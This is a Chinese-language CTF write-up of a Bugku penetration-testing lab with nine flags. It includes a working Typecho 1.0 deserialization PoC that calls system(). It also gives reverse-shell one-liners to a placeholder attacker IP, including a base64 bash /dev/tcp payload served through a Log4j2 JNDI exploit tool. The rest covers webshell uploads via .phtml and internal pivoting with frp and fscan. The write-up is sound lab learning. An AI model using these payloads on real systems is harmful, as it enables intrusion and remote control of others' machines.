记录一次坎坷的打靶经历

安全 应用安全
这次打靶依旧是学到了很多东西,比如log4j2漏洞的学习和复现等,而且我觉得自己对打靶的一个大致流程也越来越熟练,打靶时的思路也逐渐灵活,总体上感触颇多。

前言

我也没想到居然能有第二篇,可能是我打靶太过于坎坷(其实就是菜,呜呜呜)。
言归正传,bugku的par模式,渗透测试2,共9个flag,打了三次,历时三天,全部拿下。整个打靶过程依旧十分坎坷,在此,分享出来笔者打靶的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

过程

image.png

第一次打靶

0x01 flag1(Typecho反序列化)

启动场景,给了一个ip:80,老样子先上nmap扫一波

image.png


看来还是得从80端口开始,访问页面显示

image.png


哇,这么大个flag,这是怕我看不见么,结果访问并不是,年轻人不讲武德,来骗,来偷袭...呜呜呜

image.png


上dirsearch扫着,咱先熟悉一下整个站点的功能,这个站点是属于博客类型的,插件识别出来这是一个Typecho的cms,版本为1.0

image.png


网上搜搜看有没有历史漏洞

image.png


嘿!还真有,刚好符合要求

image.png


挺轻松,直接上poc,

<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;

public function __construct(){
//__toString函数检查
$this->_type = self::RSS2;
//触发__get函数
$_item['author'] = new Typecho_Request();
//触发错误
$_item['category'] = array(new Typecho_Request());
$this->_items[0] = $_item;
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
//回调函数的参数,即想要执行的命令
$this->_params['screenName'] = "ls";
//回调函数
$this->_filter[0] = "system";
}
}

$data = new Typecho_Feed();
$poc = array(
'adapter' => $data,
'prefix' => "typecho_"
);

//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>

将poc运行后的结果,利用hackbar进行post传参,看到当前目录下的所有文件

image.png


当前目录下没有flag,去根目录下看看,直接cat /f*,拿到flag

image.png

0x02 flag2(数据库)

上一个flag没有提示,但按照打靶正常流程,咱应该想办法getshell,尝试反弹一个shell回来。它本身是一个php站点,上面的poc中调用的又是system函数,最先想到的payload就是

php -r '$sock=fsockopen("xx.xx.xx.xx",1234);system("sh <&3 >&3 2>&3");'

但是因为单双引号闭合的问题(有些函数里必需要有引号),放在poc里面感觉比较麻烦,想着写一个一句话木马进去,但是蚁剑死活连不上,最后还是回到原来的想法,反弹shell。处心积虑地构造了我大半天,终于构造完了,最后长这样,用变量隔开了很多参数,然后利用字符串拼接的方式将整个命令拼接完整就OK啦

image.png


(后面发现只要给双引号加个\转义一下就行了,一口老血吐了出来)

image.png


接收到shell后,看了一下当前目录并没有flag,先用python提升一下shell的交互性吧

python3 -c 'import pty; pty.spawn("/bin/bash")'

image.png


然后看了一下自己刚刚想写进去的那个一句话木马

?嗯?我的$_POST呢?就离谱...

然后因为这个反弹回来的shell执行命令起来有点麻烦(敲错命令想删掉重敲,虽然它确实是删掉了,但是显示上并不会删掉而且还会多两个字符^H)

image.png


我觉得还是工具的ui界面操作起来更方便,想用echo命令写一个一句话木马进去,结果呀,这个$_POST依旧是写不进去

image.png


最后我还是用老办法,将这个一句话木马分开,按两次写入shell.php,查阅了一下echo命令的一个详细用法,于是就有了下图

image.png


上蚁剑,成功连上

image.png


按照上次做渗透测试1的经验,flag应该在数据库里面,查看config.inc.php,拿到数据库账号密码,

image.png


登录后在数据库中拿到flag

image.png


image.png

0x03 flag3(log4j2 rce)

依旧是没有任何提示,想看看能不能提权,但就我那个提权三板斧是提不了的,只能看一下网段信息先走内网了

image.png


显示有一个网段192.168.0.2/24,传一个fscan扫一下(将结果输出到文件里边,不然没有回显)

image.png


看一下结果,提示192.168.0.3:80的title是不一样的,挂一个frp,访问一下该站点

image.png


什么也没有,尝试弱口令,没用,爆破,没结果,想着抓包试试爆破,结果返回包里边提示source.zip

image.png


访问看看,把源码下载下来了

解压出来,浅浅看一下,是一个log4j2的题,估摸着是考CVE-2021-44228漏洞的利用吧

image.png


但是说来惭愧,作为一个web手,这个漏洞自曝出到现在我还没有去复现研究过,导致现在不知道怎么去利用它,刚好时间也到了,只能先去研究一下这个漏洞了,第一次打靶结束。

第二次打靶

0x03 flag4(log4j2 rce)

研究了一天这个漏洞,大致知道该漏洞的基本原理和利用方法了

基本原理:一些版本的log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。
JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击。
而一些版本的Log4j2的JNDI支持并没有限制可以解析的名称。这样的话就可以通过一些协议像rmi:和ldap:这种,下载远程class,来运行恶意代码,从而达到远程代码执行的目的。
利用方式:利用JNDI注入让靶机通过rmi或者ldap等协议加载我们在公网vps上构造好的恶意类,从而拿下shell

思路清晰目的明确,在vulhub上找到相应的环境成功复现一遍后,就开始了我的第二次打靶之旅。

将反弹shell的payload进行base64加密

image.png


使用JNDI注入工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)在vps上开启好对应的服务,

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"

image.png


之后便可以开始利用了,从上次得到的源码里可以知道这个站点用的是springboot框架,

image.png


所以选择工具给好的对应springboot的URI,构造好payload,vps上nc监听反弹端口,将payload填入登录框中,点击提交即可接收到反弹回来的shell了

image.png


image.png


刚好还是root权限,读一下flag

image.png

0x04 flag3、flag5

上一个flag提交后发现这居然是flag4

image.png


该不会真的需要在之前flag2上的机器提权后才能拿到flag3吧,呜呜呜

然后仔细看了一下但当前目录下的文件,有一个start.sh的脚本,打开看看

image.png


好家伙,一个log4j2的漏洞拿下3个flag,flag3在一个js文件里边、flag4在根目录下、flag5在root目录下,单走一个6

image.png

0x06 flag6(git克隆)

看完flag后,界面显示看起来属实不舒服,想clear清屏又清不掉,

image.png


最后想起来搁B站up主红队笔记的视频里学到过一招,

export TERM=xterm-color

成功清屏

image.png


接着做下去,上一个flag依旧是没有提示,但已经有root权限了,正常流程就是看看内网了,ifconfig看一下网段,好家伙,没有ifconfig命令

image.png


ls /usr/bin看一下用户命令有哪些

image.png


有wget,可以直接从vps上下载frpc,但是不知道这台机子的具体网络信息呀,这时候其实就有一点卡住了,不知道该怎样获取这台机子的一个网卡信息,怎样进行下一步呢?

嘿嘿,我去问了一下度娘,

image.png


执行ip addr show命令后发现还有一层192.168.1.2/24的网段,传一个fscan上去扫一下

image.png


image.png


依旧是看title,发现192.168.1.3的是之前没有见过的,挂frp开socks5代理,成功访问该站点(能wget从公网上下载就已经不需要考虑出不出网的问题了)

image.png


这个貌似是用来clone仓库的,看一下插件是一个php站点

image.png


表单里边有bugku的一个git仓库提示,访问看看

image.png


是一个漏洞测试靶场,并没有给什么信息,直接将这个git仓库克隆一下,

image.png


给了个超链接,访问一看,flag出了

image.png


image.png

0x07 flag7(git克隆上马)

这里可以克隆仓库,而且可以访问到克隆的仓库里的文件,你说这种是不是很像文件上传,于是我自己建了个仓库,放上一句话木马,clone后访问发现它直接将文件内容输出了,并没有执行解析

image.png


可能是做了限制吧,然后尝试修改仓库里文件后缀看看能不能绕过限制,重新clone,好家伙,clone同一个仓库,里边的文件不会变了(不管远程仓库做了什么修改,clone的仓库只保留第一次clone的结果,估摸着是缓存的原因),没办法只能多创建几个仓库了,最后测试了很多次后,发现phtml后缀的文件能被解析执行

image.png


直接上蚁剑,拿下flag

image.png


image.png


贴上我的仓库地址(https://github.com/QRLing1/hello4)

0x08 flag8(ftp)

这次终于有提示了,

image.png


?什么东东,没看懂,离谱,还是先看一下这台机子的网卡信息吧

image.png


还有一层10.10.0.2/24的网段,上fscan扫一下(将结果输出到文件中,不然没有回显)

image.png


看一下结果发现10.10.0.3这台机子只开了21端口,该端口对应的是ftp服务,题目的提示该不会是ftp的账号密码吧,继续上frp挂代理,可是这次再上传frpc的时候一直出现问题,

image.png


唯一上传成功的frp还不能运行

image.png


最后就一直卡在了这里,之后时间也差不多结束了,第二次打靶也就此告终。

第三次打靶

0x08 flag8(ftp)

重新开启靶场后,想再试试传一个frpc,这次上传的很顺利,之前传不上去可能是网络问题吧,挂上代理后尝试使用xftp进行连接,账户密码确实是guest,但xftp连接上后就一直卡死

image.png


根本读取不到文件,换FileZilla连接也是卡死,就离谱

image.png


之后想着还是用ftp命令行进行连接吧

转到kali,先在/etc/proxychains4.conf里加上socks5代理,

image.png


然后再使用ftp进行连接,终于连上了

image.png


get flag远程下载flag文件拿到flag

image.png

0x09 flag9(ftp)

从上一个flag给出的提示,ls / 看一下根目录的文件

image.png


还真有,直接get /flag,结果并没有拿下flag

image.png


一下子给我整蒙了,难不成还要弹个shell回来提权?但是就开了一个21端口也执行不了什么命令,怎么弹shell呀,迷茫了很久,切换到根目录下面get flag,直接拿下了,好家伙,离大谱

image.png


image.png

总结

到这里就结束了,回顾整个打靶过程,还是能清晰的感受到我是一如既往的菜。这次打靶依旧是学到了很多东西,比如log4j2漏洞的学习和复现等,而且我觉得自己对打靶的一个大致流程也越来越熟练,打靶时的思路也逐渐灵活,总体上感触颇多。下次继续,嘿嘿。
希望师傅们不喜勿喷,感谢。

参考资料

​JNDI注入学习​16-PHP代码审计——Typecho1.0.14反序列化漏洞
log4j2(CVE-2021-44228)漏洞复现实操(小白向)
CVE-2021-44228-Log4j漏洞分析及漏洞複現(Log4j POC)
​Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)​

责任编辑:武晓燕 来源: FreeBuf.COM​​
相关推荐

2012-08-28 09:21:59

Ajax查错经历Web

2021-12-06 19:29:17

LRU内存算法

2013-04-01 10:27:37

程序员失业

2011-04-13 09:21:30

死锁SQL Server

2016-12-06 09:34:33

线程框架经历

2013-01-17 10:31:13

JavaScriptWeb开发firebug

2021-04-13 18:17:48

Hbase集群配置

2021-01-22 05:35:19

Lvm模块Multipath

2018-01-15 14:50:49

APP转让App账号

2012-07-12 14:35:31

面试经历

2022-06-10 11:06:23

服务下线

2015-04-28 15:31:09

2018-09-14 10:48:45

Java内存泄漏

2017-11-09 09:06:29

流量暴增优化

2020-11-23 07:13:13

Nodejs源码

2010-09-07 11:16:14

SQL语句

2022-07-13 08:31:18

React问题排查

2018-12-06 16:25:39

数据库服务器线程池

2020-02-10 10:15:31

技术研发指标

2019-04-04 15:00:40

SQL索引数据库
点赞
收藏

51CTO技术栈公众号